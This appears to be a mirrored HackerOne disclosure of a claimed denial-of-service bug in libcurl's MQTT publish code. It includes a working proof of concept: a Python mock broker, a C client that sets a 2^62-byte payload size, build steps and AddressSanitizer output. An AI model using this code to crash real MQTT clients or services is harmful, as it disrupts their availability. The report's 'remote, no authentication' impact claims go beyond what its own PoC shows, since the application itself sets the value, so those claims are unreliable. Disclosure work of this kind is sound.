HACKERONE

curl: libcurl MQTT `CURLOPT_POSTFIELDSIZE_LARGE` overflow leads to immediate DoS_H1:3417428

Description

## Summary
An attacker can crash or forcefully abort any application that uses libcurl's MQTT support by setting an excessively large value for `CURLOPT_POSTFIELDSIZE_LARGE`. The MQTT publish logic (`lib/mqtt.c::mqtt_publish`) trusts this value without validating it against the protocol's maximum remaining length (268,435,455) and without checking for arithmetic overflow. As a result, it attempts to allocate an impossibly large buffer (several exabytes) and immediately fails with either an abort (AddressSanitizer) or a `CURLE_OUT_OF_MEMORY` error, terminating the process and causing a Denial of Service.

## Impact
- **Availability:** Any service that allows untrusted input to influence `CURLOPT_POSTFIELDSIZE(_LARGE)`โ€”for example, user-controlled message lengths or proxied MQTT requestsโ€”can be brought down instantly. A single malicious request is enough to trigger the crash.
- **Stability:** Even in non-ASan builds, the call consistently returns `CURLE_OUT_OF_MEMORY`; applications that treat this as fatal (common for MQTT producers) will shut down. When compiled with sanitizers, the process aborts on the spot due to an "allocation-size-too-big" assertion.
- **Scope:** No authentication or man-in-the-middle capability is required. Simply making the client construct a publish request with a massive length triggers the bug.

## Attack Scenario
1. The attacker convinces a libcurl-based MQTT client or gateway to publish a message whose size field is set to ~4 exabytes (or any value over 0x0FFFFFFF).
2. The client calls `curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE_LARGE, huge_value)` and eventually invokes `curl_easy_perform()`.
3. Inside `mqtt_publish`, libcurl calculates the MQTT remaining length as `payloadlen + topiclen + 2`, which wraps or exceeds the MQTT specification limit. It then calls `malloc(remaininglength + 1 + encodelen)`.
4. `malloc()` cannot satisfy the request and aborts (ASan) or returns NULL (if `allocator_may_return_null=1`). In either case, the application dies or enters a failure state, causing a denial of service without ever sending the payload to the broker.

## Proof of Concept
Two files are needed: a minimal MQTT mock server and a client PoC that sets an oversized payload length.

### `mqtt_server.py`
```python
import socket

HOST, PORT = "127.0.0.1", 1883
CONNACK = b"\x20\x02\x00\x00"

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[server] listening on {HOST}:{PORT}")
conn, addr = s.accept()
with conn:
print(f"[server] accepted connection from {addr}")
data = conn.recv(1024)
print(f"[server] received {len(data)} bytes")
conn.sendall(CONNACK)
print("[server] sent CONNACK")
conn.recv(1024)
print("[server] received publish (possibly truncated)")
```

### `mqtt_overflow.c`
```c
#include <curl/curl.h>
#include <stdio.h>

int main(void)
{
CURL *curl = curl_easy_init();
if(!curl) {
fprintf(stderr, "curl_easy_init failed\n");
return 1;
}

const char payload[] = "X"; /* actual data: 1 byte */
const curl_off_t fake_size = ((curl_off_t)1 << 62); /* advertise ~4 EB */

curl_easy_setopt(curl, CURLOPT_URL, "mqtt://127.0.0.1:1883/topic");
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, payload);
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, fake_size);
curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT_MS, 2000L);
curl_easy_setopt(curl, CURLOPT_TIMEOUT_MS, 3000L);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

fprintf(stderr, "[*] requesting payload size: %lld\n", (long long)fake_size);

CURLcode res = curl_easy_perform(curl);
fprintf(stderr, "curl_easy_perform: %d\n", res);

curl_easy_cleanup(curl);
return (int)res;
}
```

### Build & Run
```bash
# Configure and build libcurl with MQTT enabled (example using CMake)
cmake -S . -B build-mqtt -DCMAKE_BUILD_TYPE=Debug -DCURL_USE_LIBPSL=OFF
cmake --build build-mqtt --target libcurl_shared -- -j8

# Compile PoC with AddressSanitizer
clang -fsanitize=address -Iinclude -Ibuild-mqtt/lib \
-Lbuild-mqtt/lib -Wl,-rpath,build-mqtt/lib \
build-mqtt/poc/mqtt_overflow.c -lcurl-d -o build-mqtt/poc/mqtt_overflow

# Launch mock server and execute PoC
python3 build-mqtt/poc/mqtt_server.py &
build-mqtt/poc/mqtt_overflow
```

### Observed Output (ASan build)
```
[*] requesting payload size: 4611686018427387904
* Trying 127.0.0.1:1883...
* Established connection to 127.0.0.1 (127.0.0.1 port 1883) from 127.0.0.1 port 62013
* Using client id 'curlgqXILtsX'
==12584==ERROR: AddressSanitizer: requested allocation size 0x400000000000000c ...
SUMMARY: AddressSanitizer: allocation-size-too-big mqtt.c:616 in mqtt_publish
==12584==ABORTING
```

### Observed Output (allocator may return NULL)
```
$ ASAN_OPTIONS=allocator_may_return_null=1 build-mqtt/poc/mqtt_overflow
[*] requesting payload size: 4611686018427387904
==13457==WARNING: AddressSanitizer failed to allocate 0x400000000000000c bytes
curl_easy_perform: 27
```

The mock server log confirms that the connection is opened, a CONNACK is returned, and the client terminates immediately while trying to publish.

## Root Cause
Excerpt from `lib/mqtt.c`:
```c
remaininglength = payloadlen + 2 + topiclen;
encodelen = mqtt_encode_len(encodedbytes, remaininglength);

pkt = malloc(remaininglength + 1 + encodelen);
if(!pkt) {
result = CURLE_OUT_OF_MEMORY;
goto fail;
}
...
memcpy(&pkt[i], payload, payloadlen);
```
- `payloadlen` comes directly from `CURLOPT_POSTFIELDSIZE_LARGE`.
- There is no check that `payloadlen` stays within the MQTT specification (maximum remaining length 0x0FFFFFFF) or within any safe memory bounds.
- `remaininglength + 1 + encodelen` is computed in `size_t`, so it can wrap or exceed practical memory limits.
- On failure, the function never reaches the publish stage, effectively crashing the client before any data is sent.

## Recommended Mitigation
1. **Validate `payloadlen`:** Reject any request where `payloadlen > 0x0FFFFFFF - (topiclen + 2)` and return `CURLE_BAD_FUNCTION_ARGUMENT`.
2. **Overflow Guard:** Before calling `malloc`, ensure the sum `remaininglength + 1 + encodelen` cannot overflow and fits within a reasonable bound.
3. **Protocol Compliance:** Consider capping `mqtt_encode_len` to 4 bytes and aborting if the encoded length would exceed MQTT's remaining length limit.
4. **Regression Test:** Add a unit or integration test that attempts to set an oversized `CURLOPT_POSTFIELDSIZE_LARGE` and ensures the call fails gracefully.

## Environment
- macOS 15.0 (24A335)
- Apple Clang 17.0.0.17000319
- curl 8.17.1-dev (CMake build with MQTT enabled)
- AddressSanitizer (default settings) and libc runtime without ASan

## Severity
Medium โ€” Denial of Service via integer overflow / uncontrolled resource consumption (CWE-190 / CWE-400).

## References
- MQTT Specification (v3.1.1) โ€” Remaining Length field is limited to 268,435,455
- curl security program: <https://hackerone.com/curl>

## Impact

- Remote attacker can forcefully terminate any libcurl-based MQTT client or service by advertising an oversized MQTT payload.
- The malformed request causes libcurl to attempt an allocation of several exabytes, which immediately aborts the process (ASan) or returns CURLE_OUT_OF_MEMORY, effectively denying service.
- No authentication or special network position is required; a single malicious publish request suffices to crash the application.
Visit Original Source

Basic Information

ID H1:3417428
Published Nov 9, 2025 at 05:51
Modified Nov 10, 2025 at 15:00

๐Ÿ’ญ Join the Security Discussion

๐Ÿ”’ Your email address will not be published. Required fields are marked *

โš ๏ธ Please be respectful and constructive in your comments. Security discussions should remain professional.